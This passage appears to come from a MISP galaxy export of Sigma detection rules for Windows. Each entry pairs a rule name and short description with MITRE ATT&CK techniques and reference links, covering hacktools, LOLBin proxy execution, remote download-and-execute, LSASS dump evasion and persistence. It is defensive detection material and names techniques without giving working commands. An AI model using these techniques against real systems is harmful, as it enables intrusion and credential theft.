The tag is: `misp-galaxy:sigma-rules="HackTool - SharpUp PrivEsc Tool Execution"`

View relationships graph

HackTool - SharpUp PrivEsc Tool Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Executable Installer File Permissions Weakness - T1574.005"` with estimative-language:likelihood-probability="almost-certain"

Table 10348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/GhostPack/SharpUp">https://github.com/GhostPack/SharpUp</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpup.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpup.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Svchost Process

Detects a suspicious svchost process start

The tag is: `misp-galaxy:sigma-rules="Suspicious Svchost Process"`
Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE

Detects usage of the copy builtin cmd command to copy files with the ".dmp"/".dump" extension from a remote share

The tag is: misp-galaxy:sigma-rules="Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE"

Psr.exe Capture Screenshots

The psr.exe captures desktop screenshots and saves them on the local machine

The tag is: misp-galaxy:sigma-rules="Psr.exe Capture Screenshots"
Renamed PAExec Execution

Detects execution of renamed version of PAExec. Often used by attackers

The tag is: `misp-galaxy:sigma-rules="Renamed PAExec Execution"`

View relationships graph

Renamed PAExec Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Table 10352. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>https://www.poweradmin.com/paexec/</code></td>
</tr>
<tr>
<td><code>https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml</code></td>
</tr>
</tbody>
</table>

Use of Remote.exe

Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.

The tag is: `misp-galaxy:sigma-rules="Use of Remote.exe"`

View relationships graph

Use of Remote.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"` with estimative-language:likelihood-probability="almost-certain"

Table 10353. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/</code></td>
</tr>
<tr>
<td><code>https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml</code></td>
</tr>
</tbody>
</table>
Use of OpenConsole

Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting

The tag is: misp-galaxy:sigma-rules="Use of OpenConsole"

View relationships graph

Use of OpenConsole has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10354. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1537563834478645252">https://twitter.com/nas_bench/status/1537563834478645252</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml</a></td>
</tr>
</tbody>
</table>

Ilasm Lolbin Use Compile C-Sharp

Detect use of Ilasm.exe to compile c# code into dll or exe.

The tag is: misp-galaxy:sigma-rules="Ilasm Lolbin Use Compile C-Sharp"

View relationships graph

Ilasm Lolbin Use Compile C-Sharp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 10355. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.echotrail.io/insights/search/ilasm.exe">https://www.echotrail.io/insights/search/ilasm.exe</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Ilasm/">https://lolbas-project.github.io/lolbas/Binaries/Ilasm/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml</a></td>
</tr>
</tbody>
</table>

Suspicious MsiExec Embedding Parent

Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads

The tag is: misp-galaxy:sigma-rules="Suspicious MsiExec Embedding Parent"

View relationships graph
Suspicious MsiExec Embedding Parent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 10356. Table References
Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wins_msiexec_embedding.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wins_msiexec_embedding.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - KrbRelay Execution**

Detects the use of KrbRelay, a Kerberos relaying tool

The tag is: *misp-galaxy: sigma-rules="HackTool - KrbRelay Execution"*

View relationships graph

HackTool - KrbRelay Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 10357. Table References
Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/cube0x0/KrbRelay">https://github.com/cube0x0/KrbRelay</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelay.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelay.yml</a></td>
</tr>
</tbody>
</table>

**Invoke-Obfuscation Via Stdin**

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: *misp-galaxy: sigma-rules="Invoke-Obfuscation Via Stdin"*

View relationships graph

Invoke-Obfuscation Via Stdin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10358. Table References
Suspicious File Execution From Internet Hosted WebDav Share

Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files

The tag is: *misp-galaxy:sigma-rules*="Suspicious File Execution From Internet Hosted WebDav Share"

View relationships graph

Suspicious File Execution From Internet Hosted WebDav Share has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10359. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior">https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ShadowChasing1/status/1552595370961944576">https://twitter.com/ShadowChasing1/status/1552595370961944576</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Userinit Child Process

Detects a suspicious child process of userinit

The tag is: *misp-galaxy:sigma-rules*="Suspicious Userinit Child Process"

View relationships graph

Suspicious Userinit Child Process has relationships with:


Table 10360. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1139811587760562176">https://twitter.com/SBousseaden/status/1139811587760562176</a></td>
</tr>
</tbody>
</table>

6506
HH.EXE Execution

Detects the usage of "hh.exe" to execute ".chm" files.

The tag is: misp-galaxy:sigma-rules="HH.EXE Execution"

View relationships graph

HH.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood probability="almost-certain"

Table 10361. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml</a></td>
</tr>
</tbody>
</table>

Fake Instance Of HxTsr.exe

HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications. HxTsr.exe is part of Outlook apps, because it resides in a hidden "WindowsApps" subfolder of "C:\Program Files". Its path includes a version number, e.g., "C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\HxTsr.exe". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe

The tag is: misp-galaxy:sigma-rules="Fake Instance Of HxTsr.exe"

View relationships graph

Fake Instance Of HxTsr.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood probability="almost-certain"

Table 10362. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Port Forwarding Activity Via SSH.EXE

Detects port forwarding activity via SSH.exe

The tag is: `misp-galaxy:sigma-rules="Port Forwarding Activity Via SSH.EXE"`

View relationships graph

Port Forwarding Activity Via SSH.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="SSH - T1021.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10363. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_port_forward.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_port_forward.yml</a></td>
</tr>
</tbody>
</table>

File Encryption Using Gpg4win

Detects usage of Gpg4win to encrypt files

The tag is: `misp-galaxy:sigma-rules="File Encryption Using Gpg4win"`

Table 10364. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.gpg4win.de/documentation.html">https://www.gpg4win.de/documentation.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_encryption.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_encryption.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Ping/Del Command Combination

Detects a method often used by ransomware. Which combines the "ping" to wait a couple of
seconds and then "del" to delete the file in question. Its used to hide the file responsible for the initial infection for example.

The tag is: *misp-galaxy:sigma-rules="Suspicious Ping/Del Command Combination"

**View relationships graph**

Suspicious Ping/Del Command Combination has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

**Table 10365. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack">https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_del_combined_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_del_combined_execution.yml</a></td>
</tr>
</tbody>
</table>

**File Download with Headless Browser**

Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files.

The tag is: *misp-galaxy:sigma-rules="File Download with Headless Browser"

**View relationships graph**

File Download with Headless Browser has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 10366. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1478234484881436672?s=12">https://twitter.com/mrd0x/status/1478234484881436672?s=12</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml</a></td>
</tr>
</tbody>
</table>
Persistence Via TypedPaths - CommandLine

Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt

The tag is: misp-galaxy:sigma-rules="Persistence Via TypedPaths - CommandLine"

Table 10367. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://forensafe.com/blogs/typedpaths.html">https://forensafe.com/blogs/typedpaths.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/dez_/status/1560101453150257154">https://twitter.com/dez_/status/1560101453150257154</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_typed_paths_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_typed_paths_persistence.yml</a></td>
</tr>
</tbody>
</table>

Net WebClient Casing Anomalies

Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCiEnT) string as used in obfuscation techniques

The tag is: misp-galaxy:sigma-rules="Net WebClient Casing Anomalies"

View relationships graph

Net WebClient Casing Anomalies has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10368. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/">https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_webclient_casing.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_webclient_casing.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Chromium Browser Instance Executed With Custom Extension

Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension

The tag is: misp-galaxy:sigma-rules="Suspicious Chromium Browser Instance Executed With Custom Extension"

View relationships graph
Suspicious Chromium Browser Instance Executed With Custom Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

**Table 10369. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://emkc.org/s/RJuLa">https://emkc.org/s/RJuLa</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/lnk-between-browsers">https://www.mandiant.com/resources/blog/lnk-between-browsers</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/chromeloader/">https://redcanary.com/blog/chromeloader/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Process Start Locations**

Detects suspicious process run from unusual locations

The tag is: **misp-galaxy:sigma-rules="Suspicious Process Start Locations"**

View relationships graph

Suspicious Process Start Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

**Table 10370. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_run_locations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_run_locations.yml</a></td>
</tr>
</tbody>
</table>

**PUA - Chisel Tunneling Tool Execution**

Detects usage of the Chisel tunneling tool via the commandline arguments

The tag is: **misp-galaxy:sigma-rules="PUA - Chisel Tunneling Tool Execution"**

View relationships graph

PUA - Chisel Tunneling Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

**Table 10371. Table References**
**Potential DLL Sideload Via DeviceEnroller.EXE**

Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named "ShellChromeAPI.dll". Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter.

The tag is: misp-galaxy:sigma-rules="Potential DLL Sideload Via DeviceEnroller.EXE"

View relationships graph

Potential DLL Sideload Via DeviceEnroller.EXE has relationships with:


**File Download And Execution Via IEExec.EXE**

Detects execution of the IEExec utility to download and execute files.

The tag is: misp-galaxy:sigma-rules="File Download And Execution Via IEExec.EXE"

View relationships graph

File Download And Execution Via IEExec.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
Potential Manage-bde.wsf Abuse To Proxy Execution

Detects potential abuse of the "manage-bde.wsf" script as a LOLBIN to proxy execution

The tag is: misp-galaxy:sigma-rules="Potential Manage-bde.wsf Abuse To Proxy Execution"

ImagingDevices Unusual Parent/Child Processes

Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity

The tag is: misp-galaxy:sigma-rules="ImagingDevices Unusual Parent/Child Processes"
Execution of Suspicious File Type Extension

Checks whether the image specified in a process creation event doesn’t refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)

The tag is: `misp-galaxy:sigma-rules="Execution of Suspicious File Type Extension"`

Table 10376. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestlaboratories.com/2021/12/08/process-ghosting/">https://pentestlaboratories.com/2021/12/08/process-ghosting/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml</a></td>
</tr>
</tbody>
</table>

Net.exe Execution

Detects execution of Net.exe, whether suspicious or benign.

The tag is: `misp-galaxy:sigma-rules="Net.exe Execution"`

View relationships graph

Net.exe Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
Potential Suspicious Mofcomp Execution

Detects execution of the "mofcomp" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline. The "mofcomp" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Attackers abuse this utility to install malicious MOF scripts.

The tag is: misp-galaxy: sigma-rules= "Potential Suspicious Mofcomp Execution"

View relationships graph

Potential Suspicious Mofcomp Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language: likelihood-probability="almost-certain"

Malicious Windows Script Components File Execution by TAEF Detection

Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces) Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on)
directly by running te.exe

The tag is: `misp-galaxy:sigma-rules="Malicious Windows Script Components File Execution by TAEF Detection"`

View relationships graph

Malicious Windows Script Components File Execution by TAEF Detection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 10379. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/pabraeken/status/993298228840992768">https://twitter.com/pabraeken/status/993298228840992768</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/">https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml</a></td>
</tr>
</tbody>
</table>

**7Zip Compressing Dump Files**

Detects execution of 7z in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

The tag is: `misp-galaxy:sigma-rules="7Zip Compressing Dump Files"`

View relationships graph

7Zip Compressing Dump Files has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10380. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/09/26/bumblebee-round-two/">https://thedfirreport.com/2022/09/26/bumblebee-round-two/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_exfil_dmp_files.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_exfil_dmp_files.yml</a></td>
</tr>
</tbody>
</table>

**Change Default File Association To Executable Via Assoc**

Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or
handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

The tag is: misp-galaxy: sigma-rules="Change Default File Association To Executable Via Assoc"

View relationships graph

Change Default File Association To Executable Via Assoc has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Table 10381. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc</a></td>
</tr>
</tbody>
</table>

**Mstsc.EXE Execution From Uncommon Parent**

Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.

The tag is: misp-galaxy: sigma-rules="Mstsc.EXE Execution From Uncommon Parent"

Table 10382. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/">https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/</a></td>
</tr>
</tbody>
</table>

**Regsvr32 Execution From Potential Suspicious Location**

Detects execution of regsvr32 where the DLL is located in a potentially suspicious location.

The tag is: misp-galaxy: sigma-rules="Regsvr32 Execution From Potential Suspicious Location"

View relationships graph

Regsvr32 Execution From Potential Suspicious Location has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
Suspicous Execution Location Of Wermgr.EXE

Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.

The tag is: misp-galaxy:sigma-rules="Suspicious Execution Location Of Wermgr.EXE"

Potential SysInternals ProcDump Evasion

Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name

The tag is: misp-galaxy:sigma-rules="Potential SysInternals ProcDump Evasion"

Potential SysInternals ProcDump Evasion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
Run PowerShell Script from ADS

Detects PowerShell script execution from Alternate Data Stream (ADS)

The tag is: `misp-galaxy:sigma-rules="Run PowerShell Script from ADS"`

View relationships graph

Run PowerShell Script from ADS has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10386. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1">https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_ads.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_ads.yml</a></td>
</tr>
</tbody>
</table>

Active Directory Structure Export Via Csvde.EXE

Detects the execution of "csvde.exe" in order to export organizational Active Directory structure.

The tag is: `misp-galaxy:sigma-rules="Active Directory Structure Export Via Csvde.EXE"`

Table 10387. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit">https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csvde_export.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csvde_export.yml</a></td>
</tr>
</tbody>
</table>

Monitoring For Persistence Via BITS

BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for
persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded

The tag is: `misp-galaxy: sigma-rules="Monitoring For Persistence Via BITS"

View relationships graph

Monitoring For Persistence Via BITS has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Table 10388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html">http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml</a></td>
</tr>
</tbody>
</table>

**Explorer Process Tree Break**

Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from "svchost"

The tag is: `misp-galaxy: sigma-rules="Explorer Process Tree Break"

View relationships graph

Explorer Process Tree Break has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"

Table 10389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/bohops/status/1276357235954909188?s=12">https://twitter.com/bohops/status/1276357235954909188?s=12</a></td>
</tr>
<tr>
